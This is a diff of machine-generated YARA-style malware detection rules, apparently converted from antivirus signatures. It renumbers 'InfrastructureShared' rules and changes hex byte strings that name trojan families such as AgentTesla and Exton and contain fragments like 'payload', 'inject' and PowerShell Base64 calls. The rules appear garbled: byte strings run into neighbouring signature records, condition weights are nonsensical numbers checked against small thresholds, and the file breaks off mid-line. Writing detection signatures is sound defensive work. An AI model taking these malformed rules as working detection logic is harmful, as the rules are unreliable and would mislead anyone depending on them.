00 06 00 06 00 21 " @@ -148678,7 +158650,7 @@ rule _InfrastructureShared_13212{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*656+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_13213{ +rule _InfrastructureShared_14084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -148693,7 +158665,7 @@ rule _InfrastructureShared_13213{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*55+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_bf_5 & 1)*0) >=6 } -rule _InfrastructureShared_13214{ +rule _InfrastructureShared_14085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -148708,7 +158680,7 @@ rule _InfrastructureShared_13214{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*8192+(#a_32_2 & 1)*18260+(#a_38_3 & 1)*14691+(#a_65_4 & 1)*385+(#a_01_5 & 1)*7936) >=6 } -rule _InfrastructureShared_13215{ +rule _InfrastructureShared_14086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -148723,7 +158695,7 @@ rule _InfrastructureShared_13215{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12855+(#a_01_2 & 1)*27746+(#a_72_3 & 1)*26723+(#a_52_4 & 1)*21320+(#a_74_5 & 1)*-32502) >=6 } -rule _InfrastructureShared_13216{ +rule _InfrastructureShared_14087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -148738,7 +158710,7 @@ rule _InfrastructureShared_13216{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29545+(#a_64_2 & 1)*28524+(#a_62_3 & 1)*26227+(#a_00_4 & 1)*97+(#a_61_5 & 1)*27393) >=6 } -rule _InfrastructureShared_13217{ +rule _InfrastructureShared_14088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -148753,7 +158725,7 @@ rule _InfrastructureShared_13217{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_bf_5 & 1)*0) >=6 } -rule _InfrastructureShared_13218{ +rule _InfrastructureShared_14089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -148769,7 +158741,7 @@ rule _InfrastructureShared_13218{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28499+(#a_00_2 & 1)*7+(#a_69_3 & 1)*14930+(#a_00_4 & 1)*13878+(#a_6e_5 & 1)*385+(#a_01_6 & 1)*1536) >=7 } -rule _InfrastructureShared_13219{ +rule _InfrastructureShared_14090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -148780,12 +158752,12 @@ rule _InfrastructureShared_13219{ $a_33_3 = {2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 0a 81 01 50 6f 77 65 72 53 68 65 6c 6c 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 28 81 01 5a 6a 41 74 4f 54 59 34 4e 53 31 6d 5a 6a 56 69 } //26967 $a_32_4 = {47 52 6d 4d 6d 55 67 4e 47 59 35 4e 7a 46 6c 4f 44 6b 74 01 00 20 81 01 4f 57 59 74 59 54 49 33 59 69 30 30 4e 7a 5a 69 4d 57 51 77 4d 57 4d 35 4d 7a 59 67 4d 53 49 3d 00 00 78 bf 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 } //27225 $a_3a_5 = {72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 78 74 6f 6e 2e 41 21 64 68 61 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e 65 6c 69 6e 67 2e 65 78 65 00 69 6e 73 74 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e 65 6c 69 6e 67 2e 64 6c 6c 00 } //17744 - $a_74_6 = {05 00 2d 01 76 00 34 00 2e 00 30 00 2e 00 33 00 30 00 33 00 31 00 39 00 00 00 00 00 43 68 61 6e 6e 65 6c 69 6e 67 2e 50 72 6f 67 72 61 6d 00 00 7d 05 00 21 03 53 00 74 00 61 00 72 00 74 90 02 07 76 00 32 00 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 90 00 00 00 78 bf 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //28265 + $a_74_6 = {05 00 2d 01 76 00 34 00 2e 00 30 00 2e 00 33 00 30 00 33 00 31 00 39 00 00 00 00 00 43 68 61 6e 6e 65 6c 69 6e 67 2e 50 72 6f 67 72 61 6d 00 00 7d 05 00 21 03 53 00 74 00 61 00 72 00 74 90 02 07 76 00 32 00 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 90 00 00 00 78 bf 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //28265 condition: ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29295+(#a_00_2 & 1)*7+(#a_33_3 & 1)*26967+(#a_32_4 & 1)*27225+(#a_3a_5 & 1)*17744+(#a_74_6 & 1)*28265) >=7 } -rule _InfrastructureShared_13220{ +rule _InfrastructureShared_14091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -148794,25 +158766,40 @@ rule _InfrastructureShared_13220{ $a_47_1 = {74 } //-32503 t $a_69_2 = {67 01 00 28 81 01 5a 6a 41 74 4f 54 59 34 4e 53 31 6d 5a 6a 56 69 59 6a 49 32 4d 47 52 6d 4d 6d 55 67 4e 47 59 35 4e 7a 46 6c 4f 44 6b 74 01 00 20 81 01 4f 57 59 74 59 54 49 33 59 69 30 30 4e 7a 5a 69 4d 57 51 77 4d 57 4d 35 4d 7a 59 67 4d 53 49 3d 00 00 78 bf 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 } //29779 $a_3a_3 = {69 6e 33 32 2f 45 78 74 6f 6e 2e 41 21 64 68 61 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e 65 6c 69 6e 67 2e 65 78 65 00 69 6e 73 74 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e 65 6c 69 6e 67 2e 64 6c 6c 00 69 6e 73 74 00 05 00 2d 01 76 00 34 00 2e 00 30 00 2e 00 33 00 30 00 33 00 31 00 39 00 00 00 00 00 43 68 61 6e 6e 65 6c 69 6e 67 2e 50 72 } //25968 - $a_61_4 = {00 00 7d 05 00 21 03 53 00 74 00 61 00 72 00 74 90 02 07 76 00 32 00 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 90 00 00 00 78 bf 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 2d 31 34 72 33 78 62 21 45 4d 4c 00 01 00 07 01 67 64 64 73 64 67 68 01 00 08 01 66 68 } //26479 - $a_64_5 = {73 01 00 11 01 64 61 73 64 61 73 64 64 66 68 64 73 64 66 73 61 64 01 00 0a 01 64 61 64 73 64 68 64 66 73 64 01 00 0a 01 66 73 61 64 64 73 64 66 73 61 01 00 09 01 64 73 64 73 64 68 64 64 73 01 00 08 01 64 64 73 64 61 66 73 64 01 00 06 01 64 64 73 73 68 64 01 00 0b 01 64 73 64 73 64 61 64 66 73 61 64 01 00 0c 01 68 50 68 72 64 61 73 6f 63 65 73 } //25700 + $a_61_4 = {00 00 7d 05 00 21 03 53 00 74 00 61 00 72 00 74 90 02 07 76 00 32 00 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 90 00 00 00 78 bf 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 45 21 4d 54 42 00 07 00 3a 01 2a ca 8b d5 c0 e1 03 41 d3 e8 40 0f b6 cf 80 e1 03 c0 e1 03 d3 ea 44 32 c2 6b } //26479 + $a_32_5 = {0a 80 c1 17 44 32 c1 44 32 c6 45 32 c3 45 88 01 74 09 48 ff c7 48 83 ff 2b 72 a3 01 00 07 01 70 61 79 6c 6f 61 64 01 00 06 01 69 6e 6a 65 63 74 01 00 14 01 5c 73 79 73 6f 70 74 5f 61 6e 61 6c 79 73 69 73 2e 74 6d } //4552 condition: - ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32503+(#a_69_2 & 1)*29779+(#a_3a_3 & 1)*25968+(#a_61_4 & 1)*26479+(#a_64_5 & 1)*25700) >=7 + ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32503+(#a_69_2 & 1)*29779+(#a_3a_3 & 1)*25968+(#a_61_4 & 1)*26479+(#a_32_5 & 1)*4552) >=7 } -rule _InfrastructureShared_13221{ +rule _InfrastructureShared_14092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 78 74 6f 6e 2e 41 21 64 68 61 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e 65 6c 69 6e 67 2e 65 78 65 00 69 6e 73 74 00 0a 00 18 01 4c 6f 61 64 43 68 61 6e 6e } //16675 $a_6e_1 = {2e 64 6c 6c 00 69 6e 73 74 00 05 00 2d 01 76 00 34 00 2e 00 30 00 2e 00 33 00 30 00 33 00 31 00 39 00 00 00 00 00 43 68 61 6e 6e 65 6c 69 6e 67 2e 50 72 6f 67 72 61 6d 00 00 7d 05 00 21 03 53 00 74 00 61 00 72 00 74 90 02 07 76 00 32 00 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 90 00 00 00 78 bf 00 00 0a 00 0a } //27749 - $a_52_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 2d 31 34 72 33 78 62 21 45 4d 4c 00 01 00 07 01 67 64 64 73 64 67 68 01 00 08 01 66 68 64 64 73 64 68 73 01 00 11 01 64 61 73 64 61 73 64 64 66 68 64 73 64 66 73 61 64 01 00 } //21320 + $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 45 21 4d 54 42 00 07 00 3a 01 2a ca 8b d5 c0 e1 03 41 d3 e8 40 0f b6 cf 80 e1 03 c0 e1 03 d3 ea 44 32 c2 6b c8 11 47 32 04 0a 80 c1 17 44 32 c1 44 32 c6 45 32 c3 45 88 01 } //17748 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27749+(#a_52_3 & 1)*21320) >=10 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27749+(#a_3a_3 & 1)*17748) >=10 } -rule _InfrastructureShared_13222{ +rule _InfrastructureShared_14093{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 45 21 4d 54 42 00 07 00 3a 01 2a ca 8b d5 c0 e1 03 41 d3 e8 40 0f b6 cf 80 e1 03 c0 e1 03 d3 ea 44 32 c2 6b c8 11 47 32 04 0a 80 c1 17 44 32 c1 44 } //21539 + $a_32_1 = {45 88 01 74 09 48 ff c7 48 83 ff 2b 72 a3 01 00 07 01 70 61 79 6c 6f 61 64 01 00 06 01 69 6e 6a 65 63 74 01 00 14 01 5c 73 79 73 6f 70 74 5f 61 6e 61 6c 79 73 69 73 2e 74 6d 70 01 00 12 01 5c 73 79 73 6f 70 } //-14798 + $a_65_2 = {6f 72 74 2e 74 6d 70 01 00 12 00 64 00 6f 00 6d 00 79 00 68 00 2e 00 65 00 78 00 65 00 00 00 78 bf 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 2d 31 34 72 33 78 62 21 45 4d 4c 00 01 00 07 01 67 64 64 73 64 67 68 01 00 08 01 66 68 64 64 73 64 68 73 01 00 11 01 64 } //24436 + $a_61_3 = {64 64 66 68 64 73 64 66 73 61 64 01 00 0a 01 64 61 64 73 64 68 64 66 73 64 01 00 0a 01 66 73 61 64 64 73 64 66 73 61 01 00 09 01 64 73 64 73 64 68 64 64 73 01 00 08 01 64 64 73 64 61 66 73 64 01 00 06 01 64 64 73 73 68 64 01 00 0b 01 64 73 64 73 64 61 64 66 73 61 64 01 00 0c 01 68 50 68 72 64 61 73 } //29537 + $a_73_4 = {00 00 78 bf 00 00 0b 00 0b 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 43 6f 6e 66 75 73 65 72 00 05 00 0b 01 5f 43 6f 72 45 78 65 4d 61 69 6e 05 00 0b 01 43 6f 6e 66 75 73 65 72 20 76 31 01 00 0d 01 44 65 66 6c 61 74 65 53 74 72 65 61 6d 01 00 15 01 53 79 73 74 65 6d 2e 49 4f 2e 43 6f 6d 70 72 65 73 } //25455 + $a_6e_5 = {00 22 01 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 72 00 20 00 64 00 65 00 74 00 65 00 63 00 74 00 65 00 64 00 01 00 22 01 44 00 65 00 62 00 75 00 67 00 67 00 65 00 72 00 20 00 64 00 65 00 74 00 65 00 63 00 74 00 65 00 64 00 9c ff 0a 01 44 6f 6d 61 49 51 2e 65 78 65 00 00 78 bf 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f } //26995 + condition: + ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*-14798+(#a_65_2 & 1)*24436+(#a_61_3 & 1)*29537+(#a_73_4 & 1)*25455+(#a_6e_5 & 1)*26995) >=10 + +} +rule _InfrastructureShared_14094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -148831,7 +158818,7 @@ rule _InfrastructureShared_13222{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_bf_8 & 1)*0+(#a_00_9 & 1)*32) >=10 } -rule _InfrastructureShared_13223{ +rule _InfrastructureShared_14095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -148846,7 +158833,7 @@ rule _InfrastructureShared_13223{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26995+(#a_3a_2 & 1)*24938+(#a_71_3 & 1)*25195+(#a_6a_4 & 1)*25697+(#a_79_6 & 1)*29441) >=11 } -rule _InfrastructureShared_13224{ +rule _InfrastructureShared_14096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -148863,7 +158850,7 @@ rule _InfrastructureShared_13224{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*263+(#a_53_2 & 1)*8993+(#a_7a_3 & 1)*25857+(#a_00_5 & 1)*0+(#a_57_6 & 1)*28257+(#a_65_7 & 1)*26950+(#a_48_10 & 1)*8448) >=11 } -rule _InfrastructureShared_13225{ +rule _InfrastructureShared_14097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -148884,7 +158871,7 @@ rule _InfrastructureShared_13225{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*29285+(#a_3a_2 & 1)*24938+(#a_61_3 & 1)*29295+(#a_a2_4 & 1)*5669+(#a_28_5 & 1)*400+(#a_01_6 & 1)*10246+(#a_49_7 & 1)*19770+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*10+(#a_bf_11 & 1)*0) >=12 } -rule _InfrastructureShared_13226{ +rule _InfrastructureShared_14098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 09 00 21 " @@ -148902,7 +158889,7 @@ rule _InfrastructureShared_13226{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*25964+(#a_2e_2 & 1)*28260+(#a_8d_3 & 1)*6256+(#a_04_4 & 1)*-28547+(#a_00_5 & 1)*144+(#a_65_6 & 1)*384+(#a_bf_7 & 1)*0+(#a_64_8 & 1)*29810) >=14 } -rule _InfrastructureShared_13227{ +rule _InfrastructureShared_14099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -148917,7 +158904,7 @@ rule _InfrastructureShared_13227{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*400+(#a_2a_2 & 1)*400+(#a_65_3 & 1)*384+(#a_bf_4 & 1)*0+(#a_64_5 & 1)*29810) >=15 } -rule _InfrastructureShared_13228{ +rule _InfrastructureShared_14100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -148933,7 +158920,7 @@ rule _InfrastructureShared_13228{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*10+(#a_bf_5 & 1)*0+(#a_04_6 & 1)*-28632) >=16 } -rule _InfrastructureShared_13229{ +rule _InfrastructureShared_14101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -148947,7 +158934,7 @@ rule _InfrastructureShared_13229{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*-10729+(#a_05_2 & 1)*1546+(#a_6c_3 & 1)*17153+(#a_2d_4 & 1)*25648) >=18 } -rule _InfrastructureShared_13230{ +rule _InfrastructureShared_14102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 06 00 21 " @@ -148961,7 +158948,7 @@ rule _InfrastructureShared_13230{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28271+(#a_00_2 & 1)*30+(#a_6e_3 & 1)*17266+(#a_00_5 & 1)*118) >=22 } -rule _InfrastructureShared_13231{ +rule _InfrastructureShared_14103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -148972,7 +158959,7 @@ rule _InfrastructureShared_13231{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*111) >=30 } -rule _InfrastructureShared_13232{ +rule _InfrastructureShared_14104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 05 00 21 " @@ -148986,7 +158973,7 @@ rule _InfrastructureShared_13232{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*17232+(#a_61_2 & 1)*28530+(#a_04_3 & 1)*-28539+(#a_22_4 & 1)*1008) >=40 } -rule _InfrastructureShared_13233{ +rule _InfrastructureShared_14105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148996,7 +158983,7 @@ rule _InfrastructureShared_13233{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13234{ +rule _InfrastructureShared_14106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -149006,7 +158993,7 @@ rule _InfrastructureShared_13234{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13235{ +rule _InfrastructureShared_14107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149018,7 +159005,7 @@ rule _InfrastructureShared_13235{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14949+(#a_6c_2 & 1)*24948) >=1 } -rule _InfrastructureShared_13236{ +rule _InfrastructureShared_14108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -149030,7 +159017,7 @@ rule _InfrastructureShared_13236{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*1025+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_13237{ +rule _InfrastructureShared_14109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -149053,7 +159040,7 @@ rule _InfrastructureShared_13237{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*-29852+(#a_18_2 & 1)*2916+(#a_3a_3 & 1)*24938+(#a_10_4 & 1)*826+(#a_90_5 & 1)*10511+(#a_53_6 & 1)*29807+(#a_01_7 & 1)*31745+(#a_6b_8 & 1)*21855+(#a_00_10 & 1)*97+(#a_33_11 & 1)*12411+(#a_41_12 & 1)*11617+(#a_9f_13 & 1)*385+(#a_00_14 & 1)*0) >=1 } -rule _InfrastructureShared_13238{ +rule _InfrastructureShared_14110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149064,7 +159051,7 @@ rule _InfrastructureShared_13238{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*-16127) >=2 } -rule _InfrastructureShared_13239{ +rule _InfrastructureShared_14111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149075,7 +159062,7 @@ rule _InfrastructureShared_13239{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28465) >=2 } -rule _InfrastructureShared_13240{ +rule _InfrastructureShared_14112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149086,7 +159073,7 @@ rule _InfrastructureShared_13240{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97) >=2 } -rule _InfrastructureShared_13241{ +rule _InfrastructureShared_14113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149097,7 +159084,7 @@ rule _InfrastructureShared_13241{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*26977) >=2 } -rule _InfrastructureShared_13242{ +rule _InfrastructureShared_14114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149108,7 +159095,7 @@ rule _InfrastructureShared_13242{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-29952) >=2 } -rule _InfrastructureShared_13243{ +rule _InfrastructureShared_14115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149118,7 +159105,7 @@ rule _InfrastructureShared_13243{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13244{ +rule _InfrastructureShared_14116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149129,7 +159116,7 @@ rule _InfrastructureShared_13244{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*47) >=2 } -rule _InfrastructureShared_13245{ +rule _InfrastructureShared_14117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -149140,7 +159127,7 @@ rule _InfrastructureShared_13245{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*1538) >=2 } -rule _InfrastructureShared_13246{ +rule _InfrastructureShared_14118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -149151,7 +159138,7 @@ rule _InfrastructureShared_13246{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144) >=2 } -rule _InfrastructureShared_13247{ +rule _InfrastructureShared_14119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -149164,7 +159151,7 @@ rule _InfrastructureShared_13247{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*11520+(#a_6f_2 & 1)*24931+(#a_70_3 & 1)*30052) >=2 } -rule _InfrastructureShared_13248{ +rule _InfrastructureShared_14120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -149177,7 +159164,7 @@ rule _InfrastructureShared_13248{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25972+(#a_6f_2 & 1)*21599+(#a_37_3 & 1)*12338) >=2 } -rule _InfrastructureShared_13249{ +rule _InfrastructureShared_14121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -149190,7 +159177,7 @@ rule _InfrastructureShared_13249{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29728+(#a_41_3 & 1)*8448+(#a_68_4 & 1)*24435) >=2 } -rule _InfrastructureShared_13250{ +rule _InfrastructureShared_14122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -149204,7 +159191,7 @@ rule _InfrastructureShared_13250{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*10094+(#a_53_2 & 1)*14930+(#a_44_3 & 1)*16723+(#a_4d_4 & 1)*656) >=2 } -rule _InfrastructureShared_13251{ +rule _InfrastructureShared_14123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -149218,7 +159205,7 @@ rule _InfrastructureShared_13251{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*18772+(#a_54_2 & 1)*17741+(#a_90_3 & 1)*-30457+(#a_e8_4 & 1)*1004) >=2 } -rule _InfrastructureShared_13252{ +rule _InfrastructureShared_14124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -149230,7 +159217,7 @@ rule _InfrastructureShared_13252{ ((#a_46_0 & 1)*16675+(#a_d8_1 & 1)*574+(#a_74_2 & 1)*25965) >=2 } -rule _InfrastructureShared_13253{ +rule _InfrastructureShared_14125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -149241,7 +159228,7 @@ rule _InfrastructureShared_13253{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*82) >=3 } -rule _InfrastructureShared_13254{ +rule _InfrastructureShared_14126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -149253,7 +159240,7 @@ rule _InfrastructureShared_13254{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*300+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_13255{ +rule _InfrastructureShared_14127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -149265,7 +159252,7 @@ rule _InfrastructureShared_13255{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*2084+(#a_79_2 & 1)*29800) >=3 } -rule _InfrastructureShared_13256{ +rule _InfrastructureShared_14128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -149276,7 +159263,7 @@ rule _InfrastructureShared_13256{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-29942) >=4 } -rule _InfrastructureShared_13257{ +rule _InfrastructureShared_14129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -149289,7 +159276,7 @@ rule _InfrastructureShared_13257{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*19968+(#a_6a_2 & 1)*29268+(#a_2e_3 & 1)*12594) >=4 } -rule _InfrastructureShared_13258{ +rule _InfrastructureShared_14130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -149302,7 +159289,7 @@ rule _InfrastructureShared_13258{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29260+(#a_6a_2 & 1)*29268+(#a_63_3 & 1)*30063) >=4 } -rule _InfrastructureShared_13259{ +rule _InfrastructureShared_14131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -149314,7 +159301,7 @@ rule _InfrastructureShared_13259{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18433+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_13260{ +rule _InfrastructureShared_14132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -149327,20 +159314,46 @@ rule _InfrastructureShared_13260{ ((#a_54_0 & 1)*18467+(#a_81_1 & 